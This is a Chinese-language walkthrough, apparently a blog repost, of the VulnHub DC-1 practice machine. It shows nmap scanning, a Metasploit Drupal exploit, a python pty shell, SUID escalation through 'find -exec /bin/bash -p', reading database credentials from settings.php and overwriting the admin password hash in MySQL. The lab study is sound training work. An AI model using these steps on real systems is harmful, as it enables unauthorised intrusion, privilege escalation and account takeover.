当前位置: 代码迷 >> 综合 >> vulnhub DC1 靶场练习
  详细解决方案

vulnhub DC1 靶场练习

热度:98   发布时间:2023-12-21 00:00:45.0

前言

这次练习的是vulnhub平台下的DC系列靶机第一台,下载地址为https://www.vulnhub.com/entry/dc-1,292。该靶机的难度系数为简单,其中有五个flag,我们在练习的过程中可以直接跳过其中以部分flag中的提示直接拿到root权限。下面就直接开始吧。

配置靶机

和上一台靶机一样,开机后没有自动分配到IP。如何配置可以看我上一篇博客https://blog.csdn.net/rpsate/article/details/119494515。但是这一次在配置的最后一步——重启网络服务出现了问题了,如下图所示。系统提示failed to open statefile /run/network/ifstate: No such file or directory failed.。既然缺少这个文件我们就给它补上。
在这里插入图片描述

在kali中执行面下面命令:

cat /run/network/ifstate

首先看一下kali中的这个文件里的内容,然后在靶机中写入同样的内容。
在这里插入图片描述

cd /run
mkdir network
cd network				
echo "lo=lo">ifstate
echo "eth0=eth0">>ifstate

注意第二个echo后面是两个大于号的>>,这个符号的意思是追加文本的意思。如果用的是>符号,则会把前面写的内容覆盖掉。

在写好这个文件后就可以重启了,执行下面命令重启网络并查看本机IP地址。看到分配IP成功后就可以重启靶机了。

/etc/init.d/networking restart
ip address

在这里插入图片描述

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

通过nmap寻找到靶机的地址为192.168.119.125。下面就对靶机更加详细的扫描。

nmap -A -sV --min-parallelism 200 192.168.119.125

收集的信息还比较多,有80端口,22端口,111端口,还收集到了该网站用的cms是Drupal 7
在这里插入图片描述
通过浏览器打开这个网站看一看,但是没有发现什么有价值的信息。
在这里插入图片描述

漏洞利用

通常情况下,cms会存在比较多的漏洞,在cms中寻找突破口也是比较简单的。接下来我们就用msf来搜索一下该cms存在的漏洞。

msfconsole		//启动msfconsole
search drupal	//搜索与drupal有关的漏洞

在这里插入图片描述

搜索到的漏洞还是比较多的,我们从最新的漏洞开始,逐个尝试一下。在尝试第二个的时候获取到了shell。查看一下权限,发现是www-data

use 1
set rhosts 192.168.119.125
run
getuid

在这里插入图片描述

接下来就获取一个交互式的shell,这次获取交互式shell的方法是通过python来调用bash,与上次的方法效果一样。

shell
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

查看一下当前目录的文件就会发现flag1,flag1中有提示配置文件,下一个flag的地方应该在配置文件中可以找到线索。

ls
cat flag1.txt

在这里插入图片描述

提权

我们先不急着找flag2,先尝试一下提权。在前面练习的靶机中linux系统几乎都是suid提权,这次我们还是来尝试一下suid提权。寻找一下具有s权限的文件。

find / -perm -u=s -type f -exec ls -la {
    } \; 2>/dev/null

-perm 是代表按指定权限搜索。

-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限。关于这个参数更详细的内容可以参考:https://blog.csdn.net/weixin_44061169/article/details/105784760

-tpye 代表搜索指定的类型,f代表文件。

-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以;为结束标识。更详细内容可以参考:https://www.pianshen.com/article/86691137271/

2>/dev/null 代表将不显示错误信息,详细介绍已经在前面的博客讲了,可以参考我前面的博文。

在这里插入图片描述
看,非常惊喜的找到了一个find,通过find可以很容易的提升至root权限,看来suid提权在linux中是非常普遍的,suid提权的原理已经在前面的博文中讲解了,这里就不在赘述。

suid提权详细内容可以参考:https://cloud.tencent.com/developer/article/1600994

echo >a
find a -exec /bin/bash \;
id

echo >a 是创建一个文件,提供给find来搜索。因为find每找到一个文件就会执行一次命令,为了让find只执行一次,所以创建一个独特的文件供find搜索。

在这里插入图片描述
没有提权成功,经过长时间的研究后发现执行/bin/sh能提权成功。因为sh指向的文件时/bin/dash,这两个都能执行shell命令,但是dash是个简易版的shell执行程序。因为/bin/bash 比较高级,所以它考虑的事就会多一点,它会在执行时强制把euid(suid)转化成当前用户的uid,也就是不以root权限执行。但是加一个参数-p的话就不会强制转化euid了。如下图所示,加上参数-p即可提权成功。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/156795223?from_voters_page=true

find a -exec /bin/bash -p \;
或者
find a -exec /bin/sh \;

在这里插入图片描述
提权成功,可以获取最终的flag了。

cd root
cat thefinalflag.txt

在这里插入图片描述

获取其他flag

按照前面打靶机的经验来看,网站目录里必定有个数据库配置文件,里面包含着账号和密码。这个账号和密码也许会和系统管理员账号密码或其他服务程序的账号相同。现在就去网站目录里面找一找数据库配置文件。

在这里插入图片描述
最终在/sites/default这个目录中找了了配置文件settings.php,在这个文件中发现了账号dbuser,密码R0ck3t。直接连接mysql数据库并查询用户数据。注意flag2也在这个文件中。

mysql -udbuser -pR0ck3t

-u 后面是账号,-p 后面是密码,不用加空格。

show databases;			//查看有哪些数据库
use drupaldb;			//选择drupaldb数据库
show tables;			//查看drupaldb中有哪些表
select * from users;	//查询users表中所有数据

在这里插入图片描述
通过查询 users报中的账号得知admin的密码是$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,但是这种密文与linux中系统账号的密文十分类似。仔细分析,又与系统账号的加密方式不同,这个应该是采用了独特的加密方式,下一步可以在网站目录里面找找有没有加密的脚本文件。
网站的根目录下有一个scripts的文件夹,这个名字就很脚本。最终在这个目录里面发现一个名为password-hash.sh的脚本文件,该文件应该就是密码的加密脚本了。
在这里插入图片描述
执行脚本对密码admin加密。

./password-hash.sh admin

在这里插入图片描述
发现报错了,提示缺少文件。我们检查一下这个脚本文件。

vi password-hash.sh

在这里插入图片描述

看到这个我发现是文件引用出现了问题,引用的文件在网站根目录下的includes文件夹中,但是我们执行脚本的目录是 scripts,所以这个脚本就会把scripts当成根目录,所以我们应该到网站更目录执行这个脚本。

cd /var/www
./scripts/password-hash.sh admin

在这里插入图片描述
现在就执行成功了,admin加密后的密文是$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo。接下来我们把admin的密码修改成这个密文。执行下面命令:

mysql -udbuser -pR0ck3t 		//连接数据库
use drupaldb					//选择drupaldb库
update users set pass='$S$Da5pH6rAqzOZUH6j8Q7uW967xXBOTKhi3/ebKFRXwCpAJU4vb6Vo' where name='admin';  //更新密码

在这里插入图片描述

如上图所所示说明更新成功,下面我们就登陆一下管理员账号。登陆后点击左上角的Dashboard,然后点击中间的flag3

在这里插入图片描述

然后就打开了一个带有flag3的页面,并给出了提示。PERMSFIND-exec,我估计这个应该说的是用find命令,也就是提示我们用suid提权。但是我们在之前已经提权了,我们现在只需要找到flag4即可。
在这里插入图片描述

获取另一个flag

上面还有提示passwd,那我们查看一下这个文件试试。

cat /etc/paasswd

在这里插入图片描述

在这个文件中好像发现了flag4的位置,一气呵成获取flag4.

cd /home/flag4
ls
cat flag4.txt

在这里插入图片描述
这已经成功获取到了flag4,第5个flag已经在前面获取到了。挑战结束。
其实在这个靶机中还有许多其他的漏洞,以后可以慢慢研究,大家也不妨尝试一下利用其他漏洞。

参考文献

[1] http://t.zoukankan.com/ph1sh-p-12333122.html,Vulnhub_DC1 记录

[2] https://zhuanlan.zhihu.com/p/156795223?from_voters_page=true,为什么通过 find SUID 提权反弹的 shell 不是 root 权限?